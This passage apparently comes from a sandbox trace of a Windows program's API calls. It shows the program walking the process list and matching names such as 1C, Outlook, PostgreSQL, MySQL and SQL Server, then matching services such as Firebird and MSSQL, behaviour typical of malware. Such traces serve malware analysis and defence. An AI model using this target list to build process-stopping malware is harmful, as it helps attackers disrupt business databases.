lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0207.369] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0207.369] Process32NextW (in: hSnapshot=0x228, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0207.371] lstrlenW (lpString="smss.exe") returned 8 [0207.371] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0207.371] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0207.371] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0207.371] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0207.371] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0207.371] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0207.371] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0207.371] Process32NextW (in: hSnapshot=0x228, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0207.373] lstrlenW (lpString="csrss.exe") returned 9 [0207.373] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0207.373] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0207.373] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0207.373] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0207.373] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0207.373] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0207.373] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0207.373] Process32NextW (in: hSnapshot=0x228, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0207.374] lstrlenW (lpString="wininit.exe") returned 11 [0207.374] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0207.374] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0207.375] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0207.375] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0207.375] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0207.375] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0207.375] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0207.375] Process32NextW (in: hSnapshot=0x228, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0207.376] lstrlenW (lpString="csrss.exe") returned 9 [0207.376] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0207.376] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0207.377] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0207.377] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0207.377] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0207.377] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0207.377] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0207.377] Process32NextW (in: hSnapshot=0x228, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0207.378] lstrlenW (lpString="winlogon.exe") returned 12 [0207.378] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0207.378] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0207.378] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0207.378] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0207.378] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0207.379] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0207.379] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0207.379] Process32NextW (in: hSnapshot=0x228, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0207.630] lstrlenW (lpString="services.exe") returned 12 [0207.630] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0207.630] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0207.630] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0207.630] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0207.630] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0207.631] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0207.631] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0207.631] Process32NextW (in: hSnapshot=0x228, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0207.632] lstrlenW (lpString="lsass.exe") returned 9 [0207.632] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0207.632] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0207.632] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0207.632] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0207.632] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0207.632] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0207.632] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0207.633] Process32NextW (in: hSnapshot=0x228, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0207.634] lstrlenW (lpString="lsm.exe") returned 7 [0207.634] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0207.634] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0207.634] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0207.634] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0207.634] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0207.634] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0207.634] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0207.634] Process32NextW (in: hSnapshot=0x228, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0207.635] lstrlenW (lpString="svchost.exe") returned 11 [0207.636] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0207.636] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0207.636] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0207.636] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0207.636] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0207.636] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0207.636] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0207.636] Process32NextW (in: hSnapshot=0x228, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0207.637] lstrlenW (lpString="svchost.exe") returned 11 [0207.637] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0207.637] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0207.637] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0207.638] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0207.638] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0207.638] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0207.638] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0207.638] Process32NextW (in: hSnapshot=0x228, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0207.639] lstrlenW (lpString="svchost.exe") returned 11 [0207.639] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0207.639] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0207.639] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0207.639] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0207.639] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0207.639] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0207.640] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0207.640] Process32NextW (in: hSnapshot=0x228, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0207.641] lstrlenW (lpString="svchost.exe") returned 11 [0207.641] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0207.641] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0207.641] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0207.641] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0207.641] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0207.641] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0207.641] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0207.641] Process32NextW (in: hSnapshot=0x228, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0207.642] lstrlenW (lpString="svchost.exe") returned 11 [0207.642] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0207.642] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0207.643] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0207.643] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0207.643] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0207.643] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0207.643] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0207.643] Process32NextW (in: hSnapshot=0x228, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0207.644] lstrlenW (lpString="audiodg.exe") returned 11 [0207.644] lstrcmpiW (lpString1="1c8.exe", lpString2="audiodg.exe") returned -1 [0207.644] lstrcmpiW (lpString1="1cv77.exe", lpString2="audiodg.exe") returned -1 [0207.644] lstrcmpiW (lpString1="outlook.exe", lpString2="audiodg.exe") returned 1 [0207.644] lstrcmpiW (lpString1="postgres.exe", lpString2="audiodg.exe") returned 1 [0207.645] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="audiodg.exe") returned 1 [0207.645] lstrcmpiW (lpString1="mysqld.exe", lpString2="audiodg.exe") returned 1 [0207.645] lstrcmpiW (lpString1="sqlservr.exe", lpString2="audiodg.exe") returned 1 [0207.645] Process32NextW (in: hSnapshot=0x228, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0207.646] lstrlenW (lpString="svchost.exe") returned 11 [0207.646] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0207.646] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0207.646] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0207.646] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0207.646] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0207.646] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0207.646] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0207.646] Process32NextW (in: hSnapshot=0x228, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0207.647] lstrlenW (lpString="userinit.exe") returned 12 [0207.648] lstrcmpiW (lpString1="1c8.exe", lpString2="userinit.exe") returned -1 [0207.648] lstrcmpiW (lpString1="1cv77.exe", lpString2="userinit.exe") returned -1 [0207.648] lstrcmpiW (lpString1="outlook.exe", lpString2="userinit.exe") returned -1 [0207.648] lstrcmpiW (lpString1="postgres.exe", lpString2="userinit.exe") returned -1 [0207.648] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="userinit.exe") returned -1 [0207.648] lstrcmpiW (lpString1="mysqld.exe", lpString2="userinit.exe") returned -1 [0207.648] lstrcmpiW (lpString1="sqlservr.exe", lpString2="userinit.exe") returned -1 [0207.648] Process32NextW (in: hSnapshot=0x228, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0207.650] lstrlenW (lpString="explorer.exe") returned 12 [0207.650] lstrcmpiW (lpString1="1c8.exe", lpString2="explorer.exe") returned -1 [0207.650] lstrcmpiW (lpString1="1cv77.exe", lpString2="explorer.exe") returned -1 [0207.650] lstrcmpiW (lpString1="outlook.exe", lpString2="explorer.exe") returned 1 [0207.650] lstrcmpiW (lpString1="postgres.exe", lpString2="explorer.exe") returned 1 [0207.650] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="explorer.exe") returned 1 [0207.650] Process32NextW (in: hSnapshot=0x228, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0207.651] lstrlenW (lpString="dwm.exe") returned 7 [0207.651] Process32NextW (in: hSnapshot=0x228, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0207.653] lstrlenW (lpString="svchost.exe") returned 11 [0207.653] Process32NextW (in: hSnapshot=0x228, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0207.654] lstrlenW (lpString="winhost.exe") returned 11 [0207.654] Process32NextW (in: hSnapshot=0x228, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0207.655] lstrlenW (lpString="spoolsv.exe") returned 11 [0207.655] Process32NextW (in: hSnapshot=0x228, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x574, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0207.656] lstrlenW (lpString="dllhost.exe") returned 11 [0207.656] Process32NextW (in: hSnapshot=0x228, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0207.658] lstrlenW (lpString="svchost.exe") returned 11 [0207.658] Process32NextW (in: hSnapshot=0x228, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0207.659] lstrlenW (lpString="taskhost.exe") returned 12 [0207.659] Process32NextW (in: hSnapshot=0x228, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x4d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0207.660] lstrlenW (lpString="cmd.exe") returned 7 [0207.660] Process32NextW (in: hSnapshot=0x228, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0207.662] lstrlenW (lpString="reader_sl.exe") returned 13 [0207.662] Process32NextW (in: hSnapshot=0x228, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="AdobeARM.exe")) returned 1 [0207.663] lstrlenW (lpString="AdobeARM.exe") returned 12 [0207.663] Process32NextW (in: hSnapshot=0x228, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0207.664] lstrlenW (lpString="conhost.exe") returned 11 [0207.664] Process32NextW (in: hSnapshot=0x228, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x5bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0207.666] lstrlenW (lpString="mode.com") returned 8 [0207.666] Process32NextW (in: hSnapshot=0x228, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x5bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0 [0207.667] CloseHandle (hObject=0x228) returned 1 [0207.667] Sleep (dwMilliseconds=0x1f4) [0208.394] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3c0f778 [0208.553] EnumServicesStatusExW (in: hSCManager=0x3c0f778, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0) returned 0 [0208.554] GetLastError () returned 0xea [0208.554] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa08) returned 0x42e6cb8 [0208.554] EnumServicesStatusExW (in: hSCManager=0x3c0f778, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x42e6cb8, cbBufSize=0xa08, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x42e6cb8, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0) returned 1 [0208.554] CloseServiceHandle (hSCObject=0x3c0f778) returned 1 [0208.555] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0208.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0208.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0208.555] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0208.555] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0208.555] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0208.555] lstrlenW (lpString="AudioSrv") returned 8 [0208.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0208.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0208.556] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0208.556] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0208.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0208.556] lstrlenW (lpString="BFE") returned 3 [0208.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0208.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0208.556] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0208.556] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0208.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0208.556] lstrlenW (lpString="CscService") returned 10 [0208.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0208.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0208.556] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0208.556] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0208.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0208.557] lstrlenW (lpString="DcomLaunch") returned 10 [0208.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0208.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0208.557] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0208.557] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0208.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0208.557] lstrlenW (lpString="Dhcp") returned 4 [0208.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0208.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0208.557] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0208.557] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0208.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0208.557] lstrlenW (lpString="Dnscache") returned 8 [0208.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0208.558] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0208.558] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0208.558] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0208.558] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0208.558] lstrlenW (lpString="eventlog") returned 8 [0208.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0208.558] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0208.558] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0208.558] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0208.558] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0208.558] lstrlenW (lpString="EventSystem") returned 11 [0208.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0208.558] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0208.558] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0208.559] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0208.559] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0208.559] lstrlenW (lpString="gpsvc") returned 5 [0208.559] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0208.559] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0208.559] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0208.559] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0208.559] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0208.559] lstrlenW (lpString="lmhosts") returned 7 [0208.559] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0208.559] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0208.559] lstrcmpiW (lpString1="sqlwriter", 